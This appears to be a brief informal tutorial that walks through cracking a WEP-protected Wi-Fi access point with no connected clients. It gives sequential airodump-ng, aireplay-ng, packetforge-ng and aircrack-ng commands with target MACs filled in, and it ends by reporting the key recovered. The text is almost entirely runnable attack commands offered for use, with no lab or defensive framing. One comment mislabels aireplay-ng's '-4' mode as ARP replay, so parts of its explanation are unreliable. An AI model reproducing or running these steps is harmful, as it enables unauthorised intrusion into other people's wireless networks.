What is the no client is associated with AP and you are getting no more data packets.In such cases Deauth does not work.so here is how to do the attack
airodump-ng wifi0
#copy bssid of the AP and press ctrl+c
airodump-ng -c 11 -w thunderbolt –bssid 00:21:29:68:16:C2 rausb0
#-c channel on which AP is working
#-w writing captured data
#–bssid MAC of AP
#wireless device-name like atho,wifi0,wlan0,rausb0,eth0

keep this window running and open new terminal
aireplay-ng -1 0 -e thunderbolt -a 00:21:29:68:16:C2 -h 00:21:29:65:38:42 rausb0
#-e essid is Extensible Service Set Identifier or AP Hostname
#-h MAC of Wireless Device

Got Authenticated & Association with AP
aireplay-ng -4 -h 00:21:29:65:38:42 -b 00:21:29:68:16:C2 rausb0
#-4 Arp Replay attack of Aireplay-ng
#-h MAC Address of wireless
#-b bssid or MAC of AP

Arp Replay attack in action see the AP.the data packets are increasing superfastly.wonderfull
Copy the XOR filename after this command fully executed
packetforge-ng -0 -a 00:21:29:68:16:C2 -h 00:21:29:65:38:42 -k 255.255.255.255 -l 255.255.255.255 -y replay123456.xor -w arp-request
#use packetforge-ng to make the XOR file usable to cracking into aircrack-ng
aireplay-ng -2 -h 00:21:29:65:38:42 -r arp-request rausb0
#save the reply in capture file for later cracking in aircrack-ng

aircrack-ng -n 128 -z -f 1 -e thunderbolt -b 00:21:29:68:16:C2 thunderbolt*.cap
#-n number of WEP bits key applied.ex. 64,128,256 bit
#cap capture file which we mentioned in airodump command.

We got the key decrypted 100% correctly
What if not data packet comes in?